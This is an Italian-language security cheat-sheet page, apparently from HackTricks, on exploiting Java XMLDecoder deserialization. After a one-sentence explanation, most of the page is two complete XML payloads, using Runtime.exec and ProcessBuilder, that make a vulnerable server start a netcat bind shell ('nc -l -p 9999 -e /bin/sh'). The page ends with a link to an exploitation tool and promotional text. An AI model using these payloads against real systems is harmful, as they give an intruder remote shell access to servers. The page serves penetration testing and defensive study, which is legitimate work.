XMLDecoder è una classe Java che crea oggetti basati su un messaggio XML. Se un utente malintenzionato riesce a far sì che un'applicazione utilizzi dati arbitrari in una chiamata al metodo readObject, otterrà immediatamente l'esecuzione del codice sul server.

Utilizzando Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Strumenti

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Riferimenti

{% embed url="https://websec.nl/" %}

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: